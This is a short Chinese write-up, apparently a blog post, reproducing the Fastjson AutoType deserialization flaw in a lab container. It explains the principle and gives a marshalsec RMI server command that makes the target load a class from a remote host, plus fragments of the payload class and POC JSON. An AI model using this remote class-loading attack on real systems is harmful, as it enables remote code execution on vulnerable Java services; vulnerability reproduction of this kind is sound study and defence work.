fastjson反序列化漏洞复现
Fastjson简介
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
原理
Fastjson 反序列化漏洞的本质是其 AutoType 机制允许用户通过 @type 指定反序列化类,攻击者可以构造恶意类或利用已有的 Gadget 类,在属性赋值过程中触发危险方法,从而实现远程代码执行
复现
fastjson < 1.2.25
编写一个后面rmi远程加载的类:
1 | import java.lang.Runtime; |
Java Runtime类代表了Java程序的运行时环境,可以用来获取JVM的一些信息,比如JVM的版本号、运行时环境的内存情况等。Java Runtime类是一个单例类,即在一个Java虚拟机中只有一个实例,其实例可以通过调用静态方法Runtime.getRuntime()来获取。
JVM是面向操作系统的,它负责把程序运行编译成的.Class字节码解释成系统所能识别的指令并执行,同时也负责程序运行的内存的管理。
使用JDK8(高版本修复了rmi远程加载)编译成fastjson.class文件
开启一个服务器:
开启一个rmi服务器:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.4.128:5623/#fastjson" 9999 |
http://192.168.4.128:5623/#fastjson是rmi远程加载class的路径
POC:
1 | { |


进入容器内部查看:
1 | docker exec -it 1435c41651fa |

成功创建文件
